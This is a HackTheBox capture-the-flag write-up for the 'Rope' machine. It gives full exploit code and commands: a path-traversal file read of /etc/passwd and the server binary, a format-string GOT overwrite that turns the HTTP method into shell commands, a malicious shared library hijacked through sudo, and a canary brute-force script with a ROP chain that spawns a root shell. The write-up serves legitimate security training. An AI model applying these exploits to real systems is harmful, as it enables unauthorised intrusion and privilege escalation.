HTB: Rope Writeup
Rope - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Rope |
| OS | Linux |
| Difficulty | Insane |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.65.208 (reset mid-engagement to 10.129.65.210) |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐⭐ (5/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐⭐⭐
Summary
Rope exposes only SSH and a hand-rolled HTTP server on port 9999. The server’s static-file handler fails to sanitize a path prefix, letting a request like GET //etc/passwd walk clean out of the webroot and read arbitrary files — including the server binary and libc off disk. Reverse engineering the binary in Ghidra revealed a classic format-string bug in its access-logging routine: the requested path is fed directly into printf() with no format specifier. Combined with an /proc/self/maps leak (forced through the sendfile() code path via a Range header, since /proc files report zero length to a normal read), this gave a full arbitrary-write primitive against a known address space — enough to overwrite puts@GOT with system and turn the HTTP request method into a shell command, landing a foothold as john. From there, a sudo-runnable binary dynamically loaded a world-writable shared library, which was trivially replaced with a malicious printlog() to pivot to r4j. Root was a locally-bound contact service on port 1337 with a textbook stack-canary/PIE bypass: a 56-byte buffer overflow with a Done./no-response oracle let every byte of the canary, saved RBP, and saved return address be brute-forced byte-by-byte, from which the PIE and libc bases were derived and a ROP chain (leak write@GOT → compute libc base → dup2 + system("/bin/sh")) delivered a root shell.
TL;DR: LFI (GET //etc/passwd) leaks httpserver binary + libc → format string in log_access() (offset 53) overwrites puts@GOT → system → RCE as john via HTTP method field → sudo -u r4j /usr/bin/readlogs loads world-writable liblog.so → hijacked printlog() → r4j → contact (127.0.0.1:1337) canary/PIE brute-force oracle → ROP leaks libc via write@GOT → dup2 + system("/bin/sh") → root.
Reconnaissance
Port Scanning
# Full TCP scan against the targetnmap -p- --min-rate=2000 -T4 10.129.65.208Results:
22/tcp— OpenSSH9999/tcp— custom HTTP server (httpserver, not a stock web server)
Service Enumeration
The service on 9999 is a bespoke HTTP daemon. Probing it directly:
# Baseline requestcurl -s http://10.129.65.208:9999/Nikto-style path fuzzing against it showed that prefixing a requested path with an extra / bypasses the webroot restriction entirely — the server does no normalization before the open() syscall:
# Path-prefix traversal / LFI — walks straight to filesystem rootcurl -s --path-as-is 'http://10.129.65.208:9999//etc/passwd'This confirmed a Local File Inclusion in the static file handler, which was then used to exfiltrate the running binary and its linked libc straight off disk:
# Pull the server binary and its libc via the same LFIcurl -s --path-as-is -o httpserver 'http://10.129.65.208:9999//opt/www/httpserver'curl -s --path-as-is -o libc32.so.6 'http://10.129.65.208:9999//lib32/libc-2.27.so'The libc filename (libc-2.27.so, lib32) confirmed this is a 32-bit binary against glibc 2.27.
Vulnerability Assessment
- LFI via missing path normalization on the port-9999 static file server (CWE-22) — arbitrary file read as the service user.
- Format-string vulnerability in the server’s request-logging routine,
log_access()(CWE-134) — the requested path is passed directly toprintf()/puts()without a%sformat specifier, giving both an arbitrary-read (leak stack/GOT values) and arbitrary-write (%n) primitive. /proc/self/mapsaccessible via the same LFI, defeating ASLR/PIE once base addresses are recovered.- World-writable shared library (
liblog.so) loaded by asudo-permitted binary — privilege escalation viaLDdependency hijack (CWE-732 / CWE-427-style unsafe library search). - Unbounded stack buffer overflow in a root-owned service (
contact, TCP/1337, localhost-only) with a response-based oracle that permits byte-by-byte canary/PIE-base recovery (CWE-787 / CWE-121).
Initial Foothold
Exploitation Path
1. LFI-driven binary/libc recovery. With the traversal confirmed, the running httpserver binary and its libc-2.27.so were downloaded as shown above and reverse-engineered locally.
2. Confirming the format string bug. The server’s log_access() function logs the incoming request path with no format string, so any %x/%n sequences in the URL are interpreted by printf() directly. Sending a marker followed by repeated %x located our controlled input at stack offset 53:
# URL-encode '%' so the server's own decoder doesn't consume it before printf() sees itpython3 -c "from urllib.parse import quoteprint(quote('AAAAAAAA' + '.%x' * 60))"Counting the dot-separated fields back to the 41414141 marker in the response pinpointed offset 53 on the format-string stack — verified with %53$x.
3. Defeating PIE/ASLR via /proc/self/maps. A plain GET //proc/self/maps returned an empty body — /proc entries report zero length, so the server’s normal writen()-based read path (which sizes the response off fstat()) sends nothing. Forcing the alternate sendfile() code path with an explicit Range header worked around this:
# /proc/self/maps is 0-length to a normal read; force sendfile() via Rangecurl -s --path-as-is -H 'Range: bytes=0-1500' 'http://10.129.65.208:9999//proc/self/maps'Because httpserver uses fork() per connection, every child inherits the exact same base addresses as the parent — the leaked binary and libc base addresses were therefore valid for every subsequent request.
4. GOT overwrite → RCE. With the binary base, libc base, puts@GOT, and system()’s libc offset all known, a pwntools fmtstr_payload() targeting offset 53 overwrote puts@GOT with the address of system. log_access() later calls puts(method) on the raw HTTP method string of the same request — so once the GOT entry is patched, that call becomes system(method), turning the HTTP method field into arbitrary command execution:
# Base64-encode a reverse-shell one-liner to survive the HTTP method field (no spaces allowed)base64 -w0 inj.sh > inj.b64
# Command uses $IFS in place of spaces so it survives as an HTTP method tokenCMD="echo\${IFS}$(cat inj.b64)|base64\${IFS}-d|bash"# pwn_rope.py (abridged) — GOT overwrite + method-field command executionfrom pwn import *b = ELF("./httpserver")l = ELF("./libc32.so.6")
puts_addr = binary_base + b.got["puts"]system_addr = libc_base + l.symbols["system"]
payload = fmtstr_payload(53, {puts_addr: system_addr})r = remote("10.129.65.208", 9999)r.sendline(f"{CMD} {payload} HTTP/1.1\n".encode())python3 pwn_rope.pyThe GET/method line executed as a shell command, delivering an interactive shell back as john. A public SSH key was then dropped into ~john/.ssh/authorized_keys for a stable session.
Mid-engagement box reset: the canary-brute-force step used against the
contactservice later in this chain was first attempted with 32 concurrent connections. Becausecontactforks per connection, the burst exhausted the process table —sshdstopped completing its banner exchange andhttpserveraccepted TCP connections but never replied. The box did not self-recover, so it was reset via the HTB panel. It re-spawned on a new IP (10.129.65.210, previously.208); steps 1–4 were then replayed against the new IP to re-establish the john foothold in under two minutes.
Privilege Escalation
john → r4j (world-writable shared library hijack)
Checking sudo rights as john revealed a binary runnable as r4j:
sudo -l# (sudo) NOPASSWD: /usr/bin/readlogs, runnable as r4jreadlogs dynamically links against /lib/x86_64-linux-gnu/liblog.so, and its main() calls into that library’s printlog() to do the actual work:
ldd /usr/bin/readlogsls -la /lib/x86_64-linux-gnu/liblog.soThe library was world-writable. Since the dynamic loader resolves printlog() from whatever liblog.so currently sits at that path, a replacement .so executes arbitrary code with readlogs’s effective privileges (i.e., r4j, via the sudo invocation):
// liblog.c — malicious replacement for printlog()#include <stdlib.h>
void printlog() { system("/bin/bash");}# Compile as a shared object matching the original's ABIgcc -shared -fPIC -o liblog.so liblog.c
# Drop it in place of the world-writable originalscp liblog.so john@10.129.65.208:/lib/x86_64-linux-gnu/liblog.so
# Trigger via the sudo-permitted binarysudo -u r4j /usr/bin/readlogsThis dropped a shell as r4j. The original liblog.so was restored afterward to leave the box in a clean state.
User Flag: <redacted>r4j → root (contact — stack canary + PIE bypass via ROP)
A process list check as r4j revealed a root-owned service, contact, bound only to 127.0.0.1:1337. The binary was pulled locally and checked:
md5sum /opt/support/contactchecksec ./contactAll standard protections were enabled: NX, PIE, and a stack canary. Disassembly showed a recv() call reading up to 0x400 bytes into a 56-byte stack buffer — a straightforward stack buffer overflow, gated by the canary. Sending exactly 56 bytes returns Done.; sending 57+ corrupts the canary and the connection drops with no response. That binary distinction is a textbook byte-by-byte oracle: guess one candidate byte past the 56-byte buffer, and Done. means the guess was correct.
# rl3.py (abridged) — canary / rbp / saved-RIP oracleimport socket, struct, sys, select
HOST, PORT = "127.0.0.1", 1337
def try_byte(known: bytes, guess: int) -> bool: s = socket.create_connection((HOST, PORT), timeout=0.25) s.recv(1024) # banner/prompt s.send(b"A" * 56 + known + bytes([guess])) try: resp = s.recv(64) return resp.rstrip() == b"Done." except socket.timeout: return False # crash == canary byte wrong finally: s.close()
def recover(nbytes: int, known: bytes = b"") -> bytes: for _ in range(nbytes): for guess in range(256): if try_byte(known, guess): known += bytes([guess]) break return known
canary = recover(8) # 8-byte stack canaryrbp = recover(8, canary) # saved RBPsaved_rip = recover(8, canary + rbp) # saved return address → PIE baseTwo optimizations made this tractable against the live target rather than in a lab:
- Sequential, not threaded. The
contactservice’s parent process retains its own copy of every client fd, so a crashed child never triggers a TCP RST on that connection — the client has to wait out a full read timeout on a wrong guess. Threading many probes in parallel therefore didn’t speed things up (it also contributed to the earlier fork-exhaustion crash); a tight 0.25 s timeout, run sequentially, correctly-guessed bytes returning almost instantly, was both faster in practice and gentle on the box. - Structure-aware ordering. The canary’s low byte is always
0x00(null-terminated strings), the recoveredrbpvalues are process stack addresses of the form0x00007fff_xxxxxxx0, and the saved return address’s low nibbles were known from the binary’s own code layout — trying those likely candidates first collapsed the search space dramatically.
This brought the full 24-byte leak (canary + rbp + saved RIP) down to 1,798 total probes across 587 seconds. Recovered values:
Canary: 0x8506245d818d1300Saved RBP: 0x7ffe847cd910Saved RIP: 0x5626c7bce562Since the saved return address is a fixed offset into contact’s own code (visible in the static disassembly), subtracting that offset from the leaked saved_rip yields the PIE base for that connection:
PIE base = saved_rip - <static offset> = 0x5626c7bcd000With the canary known (to preserve stack integrity through the overflow) and the PIE base known (to compute the addresses of gadgets and the binary’s own GOT), a ROP chain was built to leak a libc pointer and pop a shell:
# rl4.py (abridged) — root ROP chainfrom pwn import p64
CANARY = 0x8506245d818d1300PIE_BASE = 0x5626c7bcd000write_got = PIE_BASE + WRITE_GOT_OFFSET # write@GOT within contact's own PLT/GOT
# Stage 1: leak write@GOT to recover the libc baserop1 = b"A" * 56rop1 += p64(CANARY)rop1 += p64(SAVED_RBP)rop1 += p64(PIE_BASE + WRITE_PLT_OFFSET) # call write(4, write@GOT, 8)rop1 += p64(4) + p64(write_got) + p64(8)
# leaked bytes → libc base = leaked_write_addr - libc write() offsetlibc_base = 0x7efc873e5000
# Stage 2: dup2 the connected socket onto stdin/stdout, then system("/bin/sh")rop2 = b"A" * 56rop2 += p64(CANARY)rop2 += p64(SAVED_RBP)rop2 += p64(libc_base + DUP2_OFFSET) + p64(4) + p64(0)rop2 += p64(libc_base + DUP2_OFFSET) + p64(4) + p64(1)rop2 += p64(libc_base + SYSTEM_OFFSET) + p64(BINSH_STR)With the socket fd (4) redirected onto stdin/stdout via dup2 and system("/bin/sh") called against the now-known libc base, the connection dropped into an interactive root shell.
uid=0(root) gid=0(root) groups=0(root)Root Flag: <redacted>Attack Chain Summary
LFI (GET //etc/passwd, path prefix bypass) → Download httpserver + libc-2.27.so via same LFI → /proc/self/maps leak (Range header forces sendfile() path) → Format string in log_access() @ stack offset 53 → Overwrite puts@GOT → system() → HTTP method field = shell command → RCE as john → sudo -u r4j /usr/bin/readlogs (world-writable liblog.so) → Malicious printlog() → shell as r4j → contact (127.0.0.1:1337) 56-byte buffer overflow, "Done." oracle → Byte-by-byte canary + saved RBP + saved RIP recovery → PIE base derived from saved RIP → ROP: leak write@GOT → compute libc base → ROP: dup2(sockfd, 0/1) + system("/bin/sh") → root shellTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning |
curl | Exploiting the LFI / path-prefix traversal, Range header requests |
Ghidra | Reverse engineering httpserver, readlogs, and contact |
pwntools | Format-string payload construction (fmtstr_payload), ROP chain building |
checksec | Binary protection enumeration on contact |
objdump | Gadget/offset verification in contact |
gcc | Compiling the malicious liblog.so replacement |
scp / ssh | File transfer and interactive access as john/r4j |
Custom Python (rl3.py/rl4.py) | Canary/RBP/saved-RIP oracle brute force and final root ROP chain |
Key Learnings
Techniques Practiced
- Identifying and exploiting a path-normalization LFI to read arbitrary files from a custom web server
- Reversing a stripped-down HTTP server in Ghidra to locate a
printf-family format-string bug - Defeating PIE/ASLR by leaking
/proc/self/mapsthrough aRange-header code path when the direct read path fails on zero-length/procentries - Building a
fmtstr_payload()GOT overwrite to redirectputs()tosystem()and smuggling a command through the HTTP method field - Recognizing and abusing a world-writable shared library loaded by a
sudo-permitted binary for lateral movement - Exploiting a stack buffer overflow protected by a canary using a purely response-based (
Done.vs. timeout) oracle to recover the canary, saved RBP, and saved return address byte-by-byte - Deriving a PIE base from a leaked saved return address and building a two-stage ROP chain (GOT leak → libc base →
dup2/system) to get an interactive root shell
Lessons Learned
- A missing
%sin a logging call is a full read/write primitive, not a cosmetic bug.log_access()treated attacker-controlled request data as trusted format-string input; this alone chained all the way to remote code execution. - Zero-length doesn’t mean unreadable.
/proc/self/mapsreporting length 0 to a normalread()almost hid the ASLR leak — forcing thesendfile()code path with an explicitRangeheader exposed it anyway. Always check whether an alternate response path exists before ruling out a leak. - World-writable dependencies are as dangerous as world-writable binaries.
readlogsitself may have been fine; the shared library it dynamically loaded was not locked down, and that alone was enough for arbitrary code execution undersudo. - A binary-differentiated oracle (response vs. timeout/no-response) is enough to defeat a canary. No memory leak was needed — only a service that behaves detectably differently on a correct vs. incorrect guess.
- Aggressive parallelism against a forking service can be self-defeating. Running 32 concurrent brute-force connections against
contactexhausted the target’s process table and took down both services on the box, requiring a reset. A slower, sequential, timeout-tuned approach was not only safer but faster in practice once wrong guesses could fail fast.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- MinatoTW, “Rope” — HackTheBox Official Writeup (Document No. D20.100.50, HackTheBox Ltd.) — used for explanatory context on the format-string exploitation flow,
/proc/self/mapsASLR bypass rationale, and the canary/PIE ROP methodology described above. All IPs, command output, and byte values in this writeup are from the author’s own engagement against10.129.65.208/10.129.65.210, not from the referenced document.